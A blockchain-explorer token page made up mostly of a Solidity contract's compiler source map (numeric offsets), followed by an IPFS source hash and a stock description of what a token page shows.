:67:0;;;;;;;:::i;:::-;4798:13:::1;:24:::0;;-1:-1:-1;;;;;;4798:24:0::1;-1:-1:-1::0;;;;;4798:24:0;;;::::1;::::0;;;::::1;::::0;;4729:101::o;5326:87::-;5365:13;5398:7;5391:14;;;;;:::i;5059:170::-;3445:6;;-1:-1:-1;;;;;3445:6:0;1154:10;3445:22;3437:67;;;;-1:-1:-1;;;3437:67:0;;;;;;;:::i;:::-;5150:3:::1;5136:10;:17;;5128:61;;;::::0;-1:-1:-1;;;5128:61:0;;4110:2:1;5128:61:0::1;::::0;::::1;4092:21:1::0;4149:2;4129:18;;;4122:30;4188:33;4168:18;;;4161:61;4239:18;;5128:61:0::1;3908:355:1::0;5128:61:0::1;5200:8;:21:::0;5059:170::o;5747:360::-;5834:4;3385:6;;1154:10;;-1:-1:-1;;;;;3385:6:0;5893:16;;:43;;;;-1:-1:-1;3358:7:0;3385:6;-1:-1:-1;;;;;3385:6:0;1154:10;5913:23;5893:43;5890:129;;;-1:-1:-1;;;;;5971:16:0;;;;;;:9;:16;;;;;;:36;;5999:7;;5971:23;;5992:1;5971:20;:23::i;:::-;:27;;:36::i;:::-;-1:-1:-1;;;;;5952:16:0;;;;;;:9;:16;;;;;:55;5890:129;6041:36;6051:5;6058:9;6069:7;6041:9;:36::i;3530:230::-;3445:6;;-1:-1:-1;;;;;3445:6:0;1154:10;3445:22;3437:67;;;;-1:-1:-1;;;3437:67:0;;;;;;;:::i;:::-;3621:6:::1;::::0;;3600:81:::1;::::0;3637:42:::1;::::0;-1:-1:-1;;;;;3621:6:0;;::::1;::::0;3600:81:::1;::::0;::::1;3692:6;:60:::0;;-1:-1:-1;;;;;;3692:60:0::1;3709:42;3692:60;::::0;;3530:230::o;7825:346::-;-1:-1:-1;;;;;7927:19:0;;7919:68;;;;-1:-1:-1;;;7919:68:0;;4470:2:1;7919:68:0;;;4452:21:1;4509:2;4489:18;;;4482:30;4548:34;4528:18;;;4521:62;-1:-1:-1;;;4599:18:1;;;4592:34;4643:19;;7919:68:0;4268:400:1;7919:68:0;-1:-1:-1;;;;;8006:21:0;;7998:68;;;;-1:-1:-1;;;7998:68:0;;4875:2:1;7998:68:0;;;4857:21:1;4914:2;4894:18;;;4887:30;4953:34;4933:18;;;4926:62;-1:-1:-1;;;5004:18:1;;;4997:32;5046:19;;7998:68:0;4673:398:1;7998:68:0;-1:-1:-1;;;;;8079:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8131:32;;1342:25:1;;;8131:32:0;;1315:18:1;8131:32:0;;;;;;;7825:346;;;:::o;6762:1055::-;-1:-1:-1;;;;;6871:20:0;;6863:71;;;;-1:-1:-1;;;6863:71:0;;5278:2:1;6863:71:0;;;5260:21:1;5317:2;5297:18;;;5290:30;5356:34;5336:18;;;5329:62;-1:-1:-1;;;5407:18:1;;;5400:36;5453:19;;6863:71:0;5076:402:1;6863:71:0;-1:-1:-1;;;;;6953:23:0;;6945:72;;;;-1:-1:-1;;;6945:72:0;;5685:2:1;6945:72:0;;;5667:21:1;5724:2;5704:18;;;5697:30;5763:34;5743:18;;;5736:62;-1:-1:-1;;;5814:18:1;;;5807:34;5858:19;;6945:72:0;5483:400:1;6945:72:0;-1:-1:-1;;;;;7070:29:0;;7030:17;7070:29;;;:21;:29;;;;;;:33;7066:414;;-1:-1:-1;;;;;7144:29:0;;;;;;:21;:29;;;;;;7132:51;;7179:3;;7132:42;;:7;;:11;:42::i;:::-;:46;;:51::i;:::-;7120:63;;7066:414;;;7215:13;;-1:-1:-1;;;;;7215:13:0;;;7205:23;;;;7201:279;;7257:29;7282:3;7257:20;7269:7;;7257;:11;;:20;;;;:::i;7201:279::-;7321:13;;-1:-1:-1;;;;;7321:13:0;;;7308:26;;;;7304:176;;7363:30;7389:3;7363:21;7375:8;;7363:7;:11;;:21;;;;:::i;7304:176::-;7438:30;7464:3;7438:21;7450:8;;7438:7;:11;;:21;;;;:::i;:30::-;7426:42;;7304:176;-1:-1:-1;;;;;7512:17:0;;;;;;:9;:17;;;;;;:30;;7534:7;7512:21;:30::i;:::-;-1:-1:-1;;;;;7492:17:0;;;;;;;:9;:17;;;;;;:50;;;;7577:20;;;;;;;7606:9;;7577:28;;7598:7;;7577:28;:::i;:::-;:38;;;;:::i;:::-;-1:-1:-1;;;;;7553:20:0;;;;;;;:9;:20;;;;;;:62;;;;7662:12;;;;;7652:23;;;;:38;;7680:9;7652:27;:38::i;:::-;7636:12;;;-1:-1:-1;;;;;7636:12:0;;;7626:23;;;;:9;:23;;;;;;;;;:64;;;;7723:12;;7706:41;;1342:25:1;;;7723:12:0;;;;7706:41;;;;;;1315:18:1;7706:41:0;;;;;;;-1:-1:-1;;;;;7763:46:0;;;;;;;7791:17;7799:9;7791:7;:17;:::i;:::-;7763:46;;1342:25:1;;;1330:2;1315:18;7763:46:0;;;;;;;6850:967;6762:1055;;;:::o;1780:226::-;1900:7;1936:12;1928:6;;;;1920:29;;;;-1:-1:-1;;;1920:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1960:9:0;1972:5;1976:1;1972;:5;:::i;:::-;1960:17;1780:226;-1:-1:-1;;;;;1780:226:0:o;2014:252::-;2072:7;2098:1;2103;2098:6;2094:47;;-1:-1:-1;2128:1:0;2121:8;;2094:47;2153:9;2165:5;2169:1;2165;:5;:::i;:::-;2153:17;-1:-1:-1;2198:1:0;2189:5;2193:1;2153:17;2189:5;:::i;:::-;:10;2181:56;;;;-1:-1:-1;;;2181:56:0;;6880:2:1;2181:56:0;;;6862:21:1;6919:2;6899:18;;;6892:30;6958:34;6938:18;;;6931:62;-1:-1:-1;;;7009:18:1;;;7002:31;7050:19;;2181:56:0;6678:397:1;2181:56:0;2257:1;2014:252;-1:-1:-1;;;2014:252:0:o;1447:181::-;1505:7;;1537:5;1541:1;1537;:5;:::i;:::-;1525:17;;1566:1;1561;:6;;1553:46;;;;-1:-1:-1;;;1553:46:0;;7282:2:1;1553:46:0;;;7264:21:1;7321:2;7301:18;;;7294:30;7360:29;7340:18;;;7333:57;7407:18;;1553:46:0;7080:351:1;2274:132:0;2332:7;2359:39;2363:1;2366;2359:39;;;;;;;;;;;;;;;;;:3;:39::i;1636:136::-;1694:7;1721:43;1725:1;1728;1721:43;;;;;;;;;;;;;;;;;:3;:43::i;2414:227::-;2534:7;2569:12;2562:5;2554:28;;;;-1:-1:-1;;;2554:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2593:9:0;2605:5;2609:1;2605;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2299:180::-;2358:6;2411:2;2399:9;2390:7;2386:23;2382:32;2379:52;;;2427:1;2424;2417:12;2379:52;-1:-1:-1;2450:23:1;;2299:180;-1:-1:-1;2299:180:1:o;2484:260::-;2552:6;2560;2613:2;2601:9;2592:7;2588:23;2584:32;2581:52;;;2629:1;2626;2619:12;2581:52;2652:29;2671:9;2652:29;:::i;:::-;2642:39;;2700:38;2734:2;2723:9;2719:18;2700:38;:::i;:::-;2690:48;;2484:260;;;;;:::o;2749:380::-;2828:1;2824:12;;;;2871;;;2892:61;;2946:4;2938:6;2934:17;2924:27;;2892:61;2999:2;2991:6;2988:14;2968:18;2965:38;2962:161;;3045:10;3040:3;3036:20;3033:1;3026:31;3080:4;3077:1;3070:15;3108:4;3105:1;3098:15;2962:161;;2749:380;;;:::o;3134:356::-;3336:2;3318:21;;;3355:18;;;3348:30;3414:34;3409:2;3394:18;;3387:62;3481:2;3466:18;;3134:356::o;5888:127::-;5949:10;5944:3;5940:20;5937:1;5930:31;5980:4;5977:1;5970:15;6004:4;6001:1;5994:15;6020:125;6085:9;;;6106:10;;;6103:36;;;6119:18;;:::i;6150:128::-;6217:9;;;6238:11;;;6235:37;;;6252:18;;:::i;6283:168::-;6323:7;6389:1;6385;6381:6;6377:14;6374:1;6371:21;6366:1;6359:9;6352:17;6348:45;6345:71;;;6396:18;;:::i;:::-;-1:-1:-1;6436:9:1;;6283:168::o;6456:217::-;6496:1;6522;6512:132;;6566:10;6561:3;6557:20;6554:1;6547:31;6601:4;6598:1;6591:15;6629:4;6626:1;6619:15;6512:132;-1:-1:-1;6658:9:1;;6456:217::o

Swarm Source

ipfs://bb9df4b98ffcc33ea9ed14f92d2f8ff2017369252e0470a17026839d8c2f7e02
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.